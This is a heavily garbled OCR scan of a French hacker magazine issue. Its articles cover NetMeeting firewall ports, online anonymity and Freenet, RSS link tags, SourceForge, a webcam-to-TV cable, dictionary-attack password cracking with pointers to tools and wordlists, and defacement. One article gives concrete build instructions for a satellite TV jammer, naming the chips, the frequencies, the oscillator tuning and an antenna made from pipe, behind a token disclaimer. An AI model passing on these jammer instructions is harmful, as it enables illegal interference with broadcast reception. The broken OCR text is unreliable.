http://search.cpan.org/src/RSE/eperl-
2.2.13/etc/bin2c.

Dans un prochain numéro d' Hacker
News Magazine, nous metirons en pla-
ce un veritable exploit qui utilise une atta-
qgue buffer overflow. A trés bientét !

Beth
i5h3773remac.com




entre utlisateurs de NetWesting, 2
firewall, Ia meillgure chose a fair;
gstde. .. Sll[lﬂl’ilﬂb’l‘ NEIMEEﬂII_lI.

‘etMeeting est un programme
de vidéoconférence trés
répandu, mais de nombreux

Cela pourrait s'arréter la, ; 4
Selon Microsoft, pour passer a travers mais ce n'est pas le cas. Net- 3
un ﬂrewall avec NetMeetmg, es ports. Meetlng exige également I'ou- l vl

Un ordinateur est un sous-
réseaul qui se trouve entre un réseau interne sir, par exem-
ple un réseau privé d'entreprise, et un réseau externe qui
n'est pas entierement de confiance, comme Internet. Géné-
ralement, une DMZ renferme des systemes accessibles au
trafic Internet, comme un serveur Web ou un serveur FTP.




LANCER UNE
wmoaomﬁnimﬁ Nﬁmﬁﬁﬂm

e protocole de paramétrage nommeé également
Call Setup Protocol H.323 négocie dynamique- T

ment, sur le port 1720, I'ouverture d'un port TCP& |

faire utiliser par la partie controle nommée H.323. §

Le Call Setup Protocol est toujours le contréle de

la partie audio (Audio Call Control Protocol, ce der-

nier sur le port 1731) négocie dynamiquement les

ports UDP a utiliser pour le protocole de strea-

ming H.323, appelé Real Time Procotol (RTP).

Dans NetMeeting, de chaque c6té du pare-feu, deux ports sont négo-

ciés dynamiquement, pour le streammg audio et la vidéo. Les ports sont

attribués arbitrairement parmi tous ceux qui sont dlspombles

S |

USER DATAGRAW PROTOCO

Contraire-
ment a TCP/IP, UDP/IP, il fait moins attention & la précision des don-
nées. Mais c'est justement pour oelq-qu'il- 93’[ plus rapide et adapté

cependant un
choix peu fonc-
tionnel) a PalTalk,
que nous pouvons trou-
ver a l'adresse :
http://www.paltalk.com/

PalTalkSite/i ndex html.

Un autre choix : iVisit, hitp://
Jivisit.com/, qui a ['avantage
d'exister également en version
Macintosh. Pour les casse-cous,
nous conseillons GnomeMeeting
(http://www.gnomemeeting.org/) qui
marche bien sur Linux et Unix. |l en
existe également une version pour

qui sera moins imprudent au
niveau de l'ouverture des ports, et

- uteu . onpeut aussi unpeu plus facile & utiliser. Windows et pour Mac.
chclsw comme oomprom:s de placer l'or- _ =
dinateur dans la DMZ (voir encadré) du Les alternatives | ast tres - Pour donner seu-
routeur. Mais il n'y a pas de sécurité tota- Iement un exemple sur VersionTracker,
le, et il est de toute facon plus sirdesor- . (hitp/www.versiontracker.com), on en trou-
tir le PC de la DMZ lorsque la connexion : e EHERT TR - e une multitude. Désormais, nous savons

est terminée. du banal Yahoo Messenger (qui constitue  comment remplacer NetMeeting !
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%
' ant l'avenement du Web, on
Wutilisait le chiffrement pour
ﬁ Wcrypter des messages (les
tlettres anonymes existaient
' déja, bien sr...) Al massimo
: | __serviva la cifratura, ma inviare
per posta ordinaria una lettera anonima
senza mittente era uno scherzo.

Le besoin d'anonymat est apparu avec
Internet, lorsqu'on s'est apergu que l'on
pouvait nuire a la vie privée d'autrui par ce
\ moyen. Malheureusement, certaines pre-

‘_ !:: .‘ [} | : : . I;I : i_, \ cautions sont devenues indispensables
' ) | m - ) : S TU L’ aujourd'hui.
A - : ] .' 107\ 'tapacestles
y | ~ \ chasseurs deNUI
& 2 10}
L N\ ] .f.'J'I"‘I.I'_.

""‘Q"LTI']FD

I ﬂllllllllﬂllt 0100;

d En italie, 'anonymat au début
| futencouragé par la semi-clan-
§ destinité des réseaux. Les jeu-
| nes, vers le milieu des années
80, soustrayaient les NUI, les
mots de passe du réseau X.25
| italien ltapac et se connectaient
aux dépens des entreprises et
de leurs usagers (Itapac colltait
les yeux de la téte). Ensuite, ce
. fut 'apparition des réseaux de
' BBS, comme Fidonet, et a un

X _;hal:unatlrmtal'ananymat B -t
~ lans certaings circonstances. ... ¢ | | ATETTE TR

MEme si quelques-uns Iulilisent |

d Mmauvais escient.
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Auirefois, Ies plus pr-
dents faisaient une dizaine de Teinel @ la Suit,
avant de se connecler 2 un ordina(ear de maniére enti-
rement ananyme. Aujoardhui, 68 st plus aussi simpi.

certain moment arriva Fidobust, la premie-
re grande attaque de la police contre les
serveurs et les citoyens.

Irte:rt“i 1\0
E‘g‘-“.l'—- en f" e
nonymat. Le systéeme de connexlon aciuel
permet de conserver trés facilement une
tracabilité de ceux qui se connectent ou qui
laissent des messages. Les premiers qui
se rendirent compte du probléme furent les
Finlandais (le pays de Linus Torvalds !) lis
lancerent alors le premier anonymizer d'e-
mail, anon.penet.fi. Le systéme fut large-
ment utilisé jusqu'a ce qu'une enquéte de
police empéche les administrateurs de
remetire une liste des véritables adresses
des usagers du systeme. Par la suite, il fut
abandonné.

OTA_.GES_. i
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< De toute fagon,
aujourd'hui il existe
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Des petits anonymizers
qui deviennent grands

is d'autre ] i, et on est mainte-
nant parvenu é un anonymat de la naviga-
tion en passant par un navigateur, avec des
systemes comme hitp://anonymizer.com/.
En méme temps, de nouveaux protocoles
de chiffrement, tels que SSL et SSH, ont
permis de lancer des systémes de conne-
xion sécurisés dans lesquels les données
sont relativement anonymes, méme si cela
dépend de l'implémentation.

¢ cas Ia chal-

ne de caracteres Telnet que teliemem de hac-
kers utilisaient pour augmenter la difficulté
de tracabilité (du style : je fais du Telnet sur
ordinateur avec lequel je fais un autre Tel-
sur un autre PC, que j'utilise pour effec-

tuer un troisieme Telnet sur un quatrieme
ordinateur, etc.) A la fin, on s'embrouillait sur
une machine placée a la fin d'une chaine de
caractéres de tellement de Telnet successifs

que cela compliquait énormément les cho-
ses pour remonter jusqu'a l'ordinateur de
départ, celui a partir duquel l'attaque avait
été lancée. De nombreuses institutions ont,
d'autre part, blindé leurs serveurs et aujour-
d'hui on ne trouve plus de Telnet anonyme sur
Internet, comme cela arrivait autrefois.

Le JEI.I du gendarrre et
du voleur

II y aceux dontla preoccupatlon
est que Ianonymat sur le Réseau favorise
I'activité des terroristes ou des criminels. D'un
autre coté, les personnes honnétes et de
bonne foi ont le plein droit de protéger leurs
idées des intrusions non souhaitées, qu'elles
proviennent de la police ou des malfaiteurs.
Dans des pays comme la Chine ou l'lran, le
droit a l'anonymat, de fait, est un droit a la
sécurité personnelle.

gt

D T T P T
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m'inquiéte pour ma
fille et pour Internet,
méme si elle est

our se connecter. .
e me tracasse parce
que dans dix ou quinze ans, elle
viendra me demander : papa, ot
elais-tu lorsqu'ils ont ote la liber-
te d'expression d'Internet ?

- Mike Godwin, Electronic Fron-
tier Foundation

Freenet est un logiciel libre

qui permet de lire et de publier §

des informations sur Internet,
sans souci et sans craindre
d'étre censure. Le programme

fiert e e T

encore trop jeune |

crée un réseau décentralisé de
communication anonyme, par-
ce que sans anonymat il ne
peut y avoir de reelle liberte

| d'expression et que la décen-

tralisation la rend moins vulné-
rable aux attaques extérieures.

On dirait la description d'un
banal réseau peer-to-peer,

| mais avec une différence fon-

damentale : sur Freenet, les
communications sont cryptees
et acheminées de noeud en
noeud, de maniére a ce que
personne n'arrive a connaitre
les identités et les informations
dont il s'agit. Avec le peer-to-

peer, ces informations sont en clair et tout
le monde peut voir ce que nous téléchar-
geons et a partir de quel endroit.

Un effort collectif

Les participants de Freenet mettent 4
disposition de la communauté une par-
tie de leur disque dur (le data store) et
de leur bande passante. Comme pour le
P2P ? Pas du tout, car le data store en
question renferme des fichiers chiffrés
que le propriétaire du disque ne peut ni
lire ni contréler. Le mécanisme de gestion
de l'espace est automatique et basé sur
la popularité. Lorsque I'on a besoin d'e-
space, les fichiers les moins appréciées




de la communauté Freenet sont suppri-
mes.

De plus, contrairement aux classiques
réseaux peer-to-peer, Freeneta de nom-
breuses utilisations autres que le partage
de fichiers. Sa structure ressemble davan-
tage a celle d" un Internet a l'intérieur d'In-
ternet ", si bien qu'il est possible de publier
également des sites Web (Freesite) et dou-

AU CENTRE
Dy RESEAU
DECENTRALISE

Le siene de Freenet est le site du méme nom,
a I'adresse hitp://ireenet. sourcefarge.net.
Au lien "Support', on trouve une série de mai-
ling-lists, de mises a jour, d'informations de
support et de développement, ainsi qu'un chat
room pour discuter de Freenet en temps réel.
La page http://freenet.sourceforge.net/
index.php?page=tools renferme toute une série
d'outils qui simplifient et facilitent la gestion.

mbLij

PAR OU COWMMENCER ?

Puur aceeder a Freenel, 1a page e

2 (iépart est celle-ci : hitp:/ireenet.sour-

pefaroe netindex phpZpane=downioad. Ony trouve les fichiers exécu-
tables pour Windows et pour Unix/Linux. Ce dernier marche également sur
Mac 0S X, a condition d'8tre suffisamment compétent pour effectuer quelques
modifications dans les fichiers Shell de démarrage de Freenet.
La premiere fois qu'on lance Freenet, le temps d'attente est assez long, de
I'ordre de plusieurs minutes. Ceci est tout a fait normal et sert au logiciel pour
localiser et se connecter avec notre ordinateur a d'autres noeuds du réseau.
A partir du second démarrage, tout ira plus rapidement.

Freenet

vrir des forums de discussion, en plus bien
évidemment de la fonction de distribution de
contenus.

Freenet constitue aujourd’hui un outil
d'avant-garde dans la défense de la
liberté sur Internet. Le logiciel a été télé-
chargé par plus de trois millions de person-
nes, et pour beaucoup d'entre elles, qui se
trouvent dans des pays “ non libres "
comme la Chine ou de nombreux Etats
du Moyen-Orient, il constitue une res-
source irremplacable, a laquelle cer-

AEaERRIE
B EEFFrosnet BT,
Fo UTA-Eagmy, ¥

* Avoir trop de noeuds Freenet ne ‘¢on-

tains doivent méme leur sécurité physique
et personnelle, sinon la vie.

stitue en aucun cas un probléme, au
contraire, ils ne seront jamais assez

nombreux. Quiconque décide de mettre ¢

a disposition une partie de son disque dur
le fait pour la liberté de tous et dans l'opti-
gue d'un projet communautaire trés impor-

L” 1 tant. Si quelqu'un le fait, cela nous intéres-
* se de le savoir !

| 1]
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a liberié d'information dont
nous jouissons est assez fra-
gile et, puisque les télévisions
par satellite représentent un
aspect toujours plus important du
monde de la communication, le
u futur se doit de posséder des
connaissances dans ce domaine.

Cet article illustre I'exemple d'un dispo-
sitif en mesure d'effectuer le jamming
(brouillage intentionnel) d'une fréquence
et, par conséquent, de provoquer I"obscur-
cissement" d'une chaine télévisée par satel-
lite. Cet article est uniqguement a usage
didactique. Gare a ceux qui essaient de
s'en prendre reellement a une chaine de

I 3 Gvidemment pas (e drait de saboter une chaine par

télévision ! La liberté d'expression est
sacree.

Le jammer

Le jammer (ou brouilleur intentionnel)
crée du bruit, accordable et 2 basse
puissance, compris dans la bande
sonore entre 1,52 et 1,59 GHz. Le signal
en question est amplifie par un circuit
HMC4441L.P4 SMT GaAs MMIC x8 produit
par Hittite Microwave Corporation, qui le
multiplie par huit en le portant, par exem-
ple, de 1,525 GHz a 12,2 GHz. Il passe
ensuite par un amplificateur NBB-400
GaAs MMIC Amplifier de RF Micra Devi-
ces, qui ajoute environ 10 décibels au
sighal pour le porter a environ 13 dB (une
vingtaine de milliwatts).

Le signal est désormais preét a étre envo-
yé a n'importe quelle anfenne méme
artisanale, et si cette derniere est suffi-
samment proche d'une parabole TV, elle
pourra brouiller, grace au bruit engendre,

la puissance d'un

signal télevise comme

celui des principales télévisions
par satellite.

Le generateur RF =

Le géneérateur part d'un signal vidéo
standard, comme la sortie d'un magnéto-
scope ou d'une console de jeux vidéo, qu'il
mixe avec un amplificateur différentiel &
courant continu contrélé manuellement et
qu'il applique a la ligne

Voltage Tune d'un oscillateur M3500-1324
de Micronetics.

&

Une petite carte comme celle-ci conlient
plus qu'il men faut pour créer un jammer ‘
[brouilleur intentionnel] du Signal télévisé

par satellite.
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1.5 - 1.6 GHz Video LF. for Ku-Band Sateliite Jammer
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Le résultat final obtenu

est le signal de fré-

quence compris

entre 1,5 et 1.6

GHz dont nous

avons déja

parlé plus

haut et dont

le réglage de

la syntonisa-

tion fine est

effectué grace

a des potentio-

metres. La fré-

guence exacte du

signal depend de celle

du recepteur a bloquer. Si la

parabole recevait sur 12,428 GHz,

il faudra diviser par huit et donc régler

l'oscillateur sur 1,5535 GHz. Comme la

fréquence est réglée manuellement et

n'est pas contrdlée par des synthéti-

seurs PPL, on pourra rencontrer des
effets de dérive, a corriger si besoin est.

Quant au reste, l'output en radiofréquence

de l'oscillateur sera modulé en fréquence

avec le signal vidéo standard et constitue-

ra une excellente source d'inhibition du

signal télévisé a bloguer.

¥ ol Al Fd
120 1240

]
e ¢
Micronetics <

M35001324 R
S ]

ry -Mf—{;‘_a Video input

Le schéma com-
e piet ue I'emetienr:
I faut le relier
t'une part a n'im-
parie quelle sour-
ce de signal telévi-
56 [méme une con-
sole de jeux
vidéa), oantre
part aune anten-
a e, méme rudi-

¢ mentaire.

Sma = ™0

b s

1.520 -
~  1.590 MHz
) RF Output
L 000 S B

Tout peut faire
office dantenne de
transmmission, il suffit
que le mateériau soit
conducteur. Par
exemple, un morceau
de tuyau ferme a une
extremite, auquel
on connecte un cable
coadial, convient
tres bien.

Le multiplicateur

Hittite Microwave vend sur son site
http://www.hittite.com une carte entiére-
ment fonctionnelle pour l'utilisation du cir-
cuit HMC444LP4. Deux connecteurs sont
montés sur la carte, un pour I'entrée et I'au-
tre pour la sortie en radiofréquence qui
demande une alimentation de cinq volts et
non supérieure a quelques milliampéres.
Pour cette application particuliére, le circuit
travaille en réalité en dehors de son domai-
ne d'activité, mais fonctionne quand méme.

Bt Guy's
Sartelibe:

Le schémastu dispositif

Antenna Feed for Ku-Band Satellite Jammer

For 12.5 GHe e——— t.825"° ——~ Enc View

=

T | e Pomt This We i
1.125° (1D} ’

i
| 5

 E——— 1 ] Brass or Copper

020" ¥ B T BackPlate
Probe Height

(Removi: Telion)

(Removiz n} SMA Plug

UT-141 Semi-Ricgic Coax
Use Standard 1 Copper Pipe Coupler g
Mount af Focal Point of Parabolc Dish for Extra Gain

L'amplificateur

Il vaut mieux I'acheter tout pret, car il
est difficile d'en fabriquer un. Richard-
son (http:/catalog.rell.com) le vend au prix
abordable de 35 dollars.

Attention a ne pas utiliser de cables de
mauvaise qualité ou trop longs, car ceux-
Ci peuvent provoquer une perte de puis-
sance.

L'antenne

Pour faire office d'antenne, on peut
utiliser un morceau de tuyau de cuivre
de 2,5 a 3 centimétres de diametre et de
quatre a cing centimétres de
longueur. L'extrémité sera
refermée par un morceau de
cuivre soigneusement soudé
sur les bords extérieurs du
tuyau. Celui-ci sera ensuite
soude a son tour sur un mor-
ceau de cable coaxial nu, relie
a la sortie du NBB-400. Ensui-
te, il faut connecter I'ensemble
de fagon a ce que le point focal
d'une ancienne parabole (récu-
pérée a la décharge, par exef-
ple) assure un gain de 30 dB.
C'est taut. Bien évidemment,
répetons-le, toutecela est illustre
dans une visee théorique, et
non.dans un but d'u-
tilisation illegale™

Nelkiin

de brouillage intention-
nel. Il a hair ésotérique,
mais un peu d'esprit d'ini-
tiative et d*habileté
manuelle permettent de
parvenir au résultat

final trés rapidement.

{122 - 127 GHz)

Jasirwrn
f ] Anteima

Mo Gorsralor  FF Genecabw

o Muligsbies
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{out Ie monde Ilﬂllf '

visiter IMII'E blog,

1
it
i

i
i

il

rrgp——

g=7 ol NOUS ;EJSEHS ’ES sﬁnsss comme F’ ’Hﬂl,
nous pourrans éire vus par les lecteurs de

feeds RSS de loutes sorles, par exemple
pReader, http://www.sharpreader.ng

ﬂ rfrm //fesdrahﬂa!uryry Bst Ui sitg
permef de seumetire un feed RSS pour vair 5l
est compilé selon les régies el si les programmes
’ﬂn "!;ggra e feeds peyvent Ie reconnanre &
e Iraiter

ne commande HTML a savoir

absolument utiliser : le tag

<link> tres utile pour I'autore-

connaissance RSS et pour

quantité d'autres choses. <link>

peut servir a se connecter a la
page d'accueil et a une série d'autres
pages, par exemple.

Supposons que nous disposions
d'une archive de pages produites sur
une base quotidienne, dans laquelle cha-
que page contient un lien vers les messa-
ges du jour précédent et du jour suivant.
Chaque page pourrait étre structurée de la
sorte :

<Jink rel="debut" title="Home"
href="http://adresse/page/home” />




SPECIFIER LADRESSE
DUN FEED RSS

k! I\.

C
o

11

e tag <link> peut également étre utili-
é pour spécifier I'adresse du feed
RSS d'une page. Dans ce cas, la syntaxe
est la suivante :
<linkrel=' "title="Titre dela page
précédente" href="http://adresse/
page/précédente” />
<link rel="suivant" title="Titre de la pro-
chaine page" href="http://adresse/pro- -
chaine/page" />

<link rel="alternate" type="application/rss+xml"
title="RSS" href="adresseffile/rss">

Il n‘est pas obligatoire que le titre soit
" RSS ", mais il est préférable qu'il soit
descriptif, a partir du moment ou certains
navigateurs, comme Mozilla ou Lynx, le
rendent visible. :

F=7 Lymx [ltty://fyny. browserarg] est un nawk
Tear que Fon trouve Sur ous fes ordinateurs e
(i prend en compie uniguement Ia partie (exte

a suite />(espace de début inclus) peut
désorienter, mais il n'y a rien d'étrange a
cela, c'est une qualité requise de la synta-

4

xe XHTML.

Autre chose trés importante a se rap-

<link rel="déhut" href="<$MTBlogURLS$>"
title="Home" />

<MTArchivePrevious>

<link rel="précédent" href="<$MTArchi-
veLink$>" title="<§MTArchiveTitle$>" />

dmmmmrmium
<MTArchiveNext>

<link rel="suivant" href= dthhmh]ve-
Link§>" title="<§MTArchiveTitle$>" />

~ </MTArchiveNext>

JPORaMmmES..

. Muilla est en mesure
n:mfs-mm%mm |

(s pages. I convient tres bien pour Surfer rap-
dement o i o dispose e pex de bande fas-
sante. Amazon est fait ﬂﬂﬂl‘ nctionner egalement

f:."lb i

amlym H pmurgus

<link rel="début" href="<$MTBlogURL$>"
title="Home" />
<MTEntryPrevious>
<link rel="precedente" href="<$MTEntry-
Link$>" title="<$MTEntryTitle$>" />
</MTEntryPrevious>

<MTEntryNext>
<link rel="suivant" href=" <$MTEnlrv-
Llnk$>"ilils="<$MTEniryTltla$>"
</MTEntryNext>

LLECELL LG LSRR L LS LA ERE

GEEELOEUREREIEORONDEUREER LD

4

peler : les <link>, c'est-a-dire les liens, doi-
vent se trouver dans la partie <head> et
non dans la partie <body> du code.

Normalement les navigateurs conven-
tionnels tels qu'internet Explorer ne peu-
vent pas voir ces liens, mais ces derniers
sont trés utiles a ceux qui surfent a l'aide
d'un assistant numérique personnel ou d'un
téléphone portable. En outre, ils peuvent
étre lus par des programmes comme Lynx,
le navigateur de textes utilisé par de nom-
breux handicapés et par ceux qui veulent
télécharger tres rapidement les pages.

P. Greco

 Netkimwyiire Liw (113 unready




Et bien, cette idée peut réel-
lement devenir un projet open
source. Vous pensez qu'il faut
savoir programmer pour cela ?

Pas du tout. En créant ce projet, vous allez
trouver des collaborateurs qui vous appor-
teront chacun leur savoir-faire. Il vous suf-
fit juste de connaitre I'anglais.

(p24] {www.hackermag.com!
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Pourguol ouurir un
compte 7

est SourceFor-
ge, http://sf.net, qui a accueilli un nom-
bre tres élevé de projets : presque
100 000! Il faut d'abord créer un comp-
te sur ce site, avec un pseudonyme et
une adresse electromque valide. Pres-
que un million diinscrits ont réussi a le

bAUTRES op'noNS
POUR LOPEN
Sourck

ourceForge est certainement le premier
endroit ol il faut enregistrer un projet,
mais il y a aussi Freshmeat
(http://ffreshmeat.net). Pour I'ltalie, il n’e-

I xiste pas de liens comme SourceForge,

~ mais il y a beaucoup de sites géneéraux
sur des projets spécifiques ou sur I'open

# source. Pour n’en citer que quelques-uns :
hitp://www.openitalia.net, les «Linux User

Group», (http://www.ziobudda.net/
/lug/}, http://www.spaghettibrain.com,
<http://it.openoffice.org/> et bien évidem-
ment I’Open Directory a l'adresse
30http://dmoz.org/World/ltaliano/Compu-
ter/Programmazione/Open_Source/

En somme, il suffit souvent d’un peu de
bonne volonté et d'envoyer un e-mail pour
gue tout s’enchaine trés rapidement !

pour débuter la procédure d'enre-
gistrement en dix étapes. Le plus diffici-
le étant de nommer le projet,
d'expliquer (en anglais) de quoi il
s'agit et de choisir la catégorie dans
laquelle il rentre. Les différentes
catégories sont les suivantes :

Logiciel
Documentation




PAS QUE DES
PROGRAMMES

| y a ceux qui pensent qu'open source,

Linux el logiciels sont synonymes. I1s ne
sont pas loin de la vérité !
Il existe une célebre encyclopédie open sour-
ce : Wikipédia http://www.wikipedia.org
(avec une version en frangais), une initiati-
ve légale nommée OpenlLaw
(http://cyber.law.harvard.edu/openlaw/) et
méme une boisson gazeuse, Opencola
(http://www.opencola.com).

Lz racette d coca-40la o5l [t
ap seeret. Celle dont nous A
Jiarians st open Sorge.
51 quelqu'un régssit 3 fairs W& e

miea, 1 pourit méme s [l QEsEE
ohir 12 pesette compléle s | RS-

rouve @ Iadresse hity.//alfre- i ‘
d.ctavin.net/saft_dvink for-

e VO VOjeZ et gune
gar s cneas existants,
i loence GHU e nous eon-

Viet pas, il mest pas évident

dian |
fichier a créer et d'effectuer le parta 1 O0Ver i aule....

(65 1ays en voie de développement sont s~ €8S taches. C'est un trés gros tra
s ntéresses par I¢ logiciel fire. '

Site Web

Logiciel P2P - Nous pouvd
Logiciel de jeu participer a
Systéme de gestion de contenu S projets dé

(ou CMS) der l'aide de caoll: cours, -
Paquets précompilés de programmes tard il nousarrivai gistre
existants nous_pg¢

Contenu open source (images, vidéos, ;

photos, données)

Traduction de logiciel

tourner
juer le projet ou

-

informations a

En attente
d'autorisation

Beth
Une commission de SourceFo
évalue le projet et, si l'idée a |
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SCHEMA

Voicila marche
a suivre potr
confectionner
ce cable adap-
tateur.

Il faut joindre la
sortie S-Vidéo
de la luminance Y (intensité lumineuse) et cel-
le de la chrominance C (couleur) a l'aide du
petit condensateur de 470 pF. Joignons égale-
ment les deux masses : Yg et Cg (g pour ground
= masse). Les deux fils ainsi obtenus se bran-
chent, par lintermédiaire du cable, sur I'entrée
jaune du teléviseur, celle de la vidéo.

Dans ce schéma, nous avons utilisé les pho-
tographies de la prise S-Vidéo et de la prise
RCA pour bien faire comprendre le résultat que
I'on souhaite obtenir. Vue du coté des soudu- |
res, la broche S-Vidéo que nous utiliserons est

- B

--—--\

: une prise dont les bornes sont disposées exac-
i tement comme celle que I'on voit sur limage.
! I
I ) L
B L

Associer webeam, téléviseur et ordinateur
portable pour créer un Systéme de controle
d distance permettant de visualiser Sur une

IV I'arrivée d'un intrus. Pour cela, lessentiel
est d'avoir les cables adequals.

--—---------\

cowpo

Les composants que nous devons avoir |

aportée de la main : une prise S-Video,
une prise mobile

RCA jaune, le trés petit condensateur
céramique de 470 pF. La valeur de la
capacité est inscrite sur le condensa-
teur, de maniére un peu étrange : géene-
ralement, elle est de 471 (il s'agit bien

milliéme de milliardieme de farad), ou 1
représente le nombre de 0 se trouvant

1
i

siir de picofarads, une unité valant un I

{ SOUDURES

| Sur la broche S-Vidéo, du cété
| des soudures (la ou les bornes
sont plus courtes), nous devons
connecter le condensateur aux
i deux bornes les plus proches,
puis souder I'un des deux fils du
! cable que nous nous sommes
i procurés sur celle de gauche (voir
I schéma). Ensuite, il faut joindre

I 1 les deux bornes les plus éloi-
I 1 gnées avec le deuxiéme fil de
I | notre cable. C'est le méme fil, un
I | peu plus dénude, qui fait office de
| ) pont de liaison : soudons
11 I'ensemble.

, e
i —_— e
| L. " 9,




omment procéder pour connecter une webcam USB a
notre TV ? Ce n'est pas si simple, parce que la webcam
posséede une sortie USB, mais que, pour compliquer les
choses, notre portable dispose uniquement d'une sortie S-
Vidéo (une prise ronde a quatre broches) pour connecter
un moniteur externe. De méme, si le téléviseur n'est pas de
trés bonne qualité ou ancien, nous ne trouverons pas l'entrée corre-
spondante. En revanche, il comportera peut-étre une prise jaune et
ronde de type RCA servant a faire passer un signal vidéo dit "compo-
site".

Comment combiner toutes ces choses ? C'est trés simple, il faut créer
un cable adaptateur !

Pour fabriquer un cable RCA, il suffit d'un fer a souder, d'un peu
d'étain et de beaucoup de minutie, car nous devons travailler sur des
composants trés petits.

Avant tout, nous devons nous procurer :

Une prise S-Vidéo
Une prise mobile RCA
7 ) Unbout de cable a deux fils,
; d'environ vingt centimétres
de longueur
Un cordon RCA male/méle, de la lon-
gueur souhaitée

(lacheter tout prét
permet de gagner
du temps)
Un condensateur en céramique 470 pF

Ce sont des composants que l'on trouve dans
n'importe quel magasin de matériel électroni-
que, pour quelques euros seulement.

: CONNEXION

A l'autre bout de notre morceau de cable, nous devons souder
la prise mobile RCA. Avant cela, il est impératif de faire passer
le fil dans le chapeau de la prise qui couvrira 'ensemble. Si
nous ne l'avons pas encore fait, il est temps de faire glisser
celui de la prise S-Vidéo. Maintenant, relions la borne centra-
le au fil provenant du
condensateur et con-
nectons le fil prove-
nant des deux bornes
de masse a la masse
latérale que nous
avions jointe & la prise
S-Vidéo.

?

»

FONCTIONNEMENT

ansférons le signal vidéo en mode "composi-

fe" entre nos appareils, par exemple entre I'or-
dinateur et le téléviseur. En réalité, les caméras
couleur filment les images en trois couleurs fonda-
entales : le rouge, le vert et le bleu, I'ensemble
constituant le signal RGB. Toutes les autres tein-
tes résultent de ces couleurs par addition ou sou-
straction. Pour rendre le signal RGB compatible
avec les anciens téléviseurs noir et blanc, un cir-
cuit ajoute les trois couleurs a des pourcentages
différents et fixes (0.30 R + 0.59 G + 0.11 B), en
tenant compte qu'il existe des teintes qui “rendent”
davantage que d'autres (Supposons que nous vou-

iere ?) Le signal qui en découle est appelé lumi-
nance et contient la totalité de |'image, mais uni-
guement comme variation de luminosité entre un
oint et un autre. Cela convient trés bien aux télé-
viseurs noir et blanc, auxquels nous pourrons envo-
yer uniquement Y pour voir notre image. Pour les
appareils en couleur, nous devons ajouter le signal
C|de la chrominance. Il est créé en soustrayant B a
laluminance d'une part et R  la luminance d'au-
tre part (B-Y et
R-Y).
Donc, un
signal télé-
visé, consti-
tué de la
luminance Y
et de Ia
chrominan-
ce G, est
donné par
les deux
soustrac-
tions. Et
pour la
couleur
manquante ?
- Elle n'est pas
= transmise,
R~ mais on peut
I'obtenir en fai-
sant la différen-
ce entre les
pourcentages que nous avons vus précédemment.
S| nous disposons des pourcentages de B et de R,
nous obtenans le pourcentage de vert G en dédui-
sant la somme des pourcentages de bleu et de rou-
ge de 100%.
Clest ce que fait notre téléviseur lorsque nous lui
envoyons Y et C. Il a ainsi toutes les informations

necessaires pour reconstituer I'image, avec |'en-
semble de ses couleurs
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FINAL

Notre ordinateur portable est désormais relié a notre télé-
viseur. Un cordon RCA male/méle a permis de brancher
la prise du teléviseur a celle du cordon que nous avons
réalisé. C'est un excellent accessoire a avoir toujours
avec nous, pour diffuser des images sur n'importe quel
téléviseur, méme ancien,

|
i
/

" A“— ——

CABLE

Voici comment le cable se
présente, avant que nous
refermions les chapeaux
respectifs des prises. Com-
me on peut le voir, le conden-
sateur a une taille qui permet
de l'insérer sans souci a
lintérieur de la méme broche.

-----—_-‘
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w . .| NEBCAW | “INTRUS SUR LA TV . ;
i Grace a votre webcam, | !
=24 g VOUS pouvez voir sur Attention ! Vous
vy > I'écran de la TV si quel- voyez un intrus

qu'un rentre chez vous. s'approcher de
chez vous. Don-

nez l'alarme !

v

o =

INTRUS PC

Nous pouvons visualiser les images
filmées par notre ordinateur a la fois sur
son écran et sur I'écran du téléviseur.

LN N 1 (B N B |
g 7 =i AT Eo Standa r'tTBus
standardbus@softhome.net §
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e fait de decrypter un
mot de passe ou de
contourner un schéma
de protection est

appele un " crack ".

EXEMPLE

e terme est apparu en méme temps que le systéme d'exploi-
tation Unix.
L'ensemble des mots de passe cryptés des utilisateurs enregi-
strés est regroupé dans le fichier " /etc/passwd *. Cela ne per-
met pas a I'administrateur systéme de lire les mots de passe,
mais ces derniers peuvent uniquement &tre remplacés par un

Please send questions/problem reports to CONSULT@UIC.EDU (not root!)

nonou
[}

You have mail.

$ possud

passwd: Changing password for sajjod

Enter OLD password:

New password:

|Possword is too short - mustibe ot leost & choracters.
New password:

Re-enter new password:

They don*t match; try ogoin.

New password:

Re-enter new password:

$ passwd

passwd:” Changing password for sajjad

Enter OLD password:

New password:

|Password must contain at least two alphabetic charecters. ond
at leost one numeric or speciol charocter.

New password:

autre mot de passe
automatiquement
crypté. C'est ainsi que
l'on a développé un
programme appelé
" crack " capable de
tester les mots de pas-
se potentiels associés
a un utilisateur. Ce pro-
gramme agit en répé-
tant une série de tests
a partir d'un diction-
naire de mots choisis,
gréce a la technique
nommée " Attaque par
dictionnaire ".

MICRO
MATES

Simple
Words and
Word Games

a classique attague du crack n'est pas une attague massive par

laguelle on découvre un mot de passe aprés avoir testé toutes les
combinaisons potentielles. C'est plutét une attaque dont le but est de
trouver les mots de passe les plus * faibles *, ¢'est-a-dire ceux que I'on a
insérés sans tenir compte de certaines régles de sécurité élémentaires, par
exemple la date de naissance personnelle, le nom d'un parent ou d'un ani-
mal de compagnie, d'un personnage célébre, etc. Pour tester un crack, il

faut se procurer le programme. Sous environnement Unix. il est souvent
simplement appelé " crack ". Sous Prw}ronnement Wmdﬂws cest le
ythique programme " [OphtCragk

Brutus est un crack trés populaire, mais non mis a jour, qui permet de
cracker les mots de passe a distance : www.hoobie.net/brutus/index.html.
Un programme au nom frés similaire se trouve a ['adresse
www.crak.com.

Securite

Puur renforcer |a protection d'un systéme contre les attaques d'un
crack, |'administrateur systéeme utilise souvent les mémes outils
que ce dernier.

Cela lui permet de ne pas altérer les mots de passe mémorisés par les
utilisateurs, d'avoir la possibilité de les lire et de découvrir ceux qui
ne résistent pas a |'attaque du crack, c'est-a-dire les plus faibles.
Aprés quoi, il conseillera a I'utilisateur intéressé de modifier plus sou-
vent son mot de passe, en lui indiquant les meilleures fagons d'en éla-
borer un qui soit plus difficile a trouver.

Une adresse FTP ol vous pouvez éventuellement télécharger

le programme Crack pour Unix est : ftp://ftp.cerias.purdue.edu/pub/tools/
unix/pwdutils/crack. Pour terminer, une liste de mots que I'on peut
associer : ftp://ftp.ox.ac.uk/pub/wordlists




lExEMPLE

efacement

(définition)
Action de
pirater et
detourner un site
Web, en le modi-

e défacement est souvent pratiqué par les

hackers. A I'origine, il s'agissait seulement
d'un moyen de désorganiser un systéme de sécu-
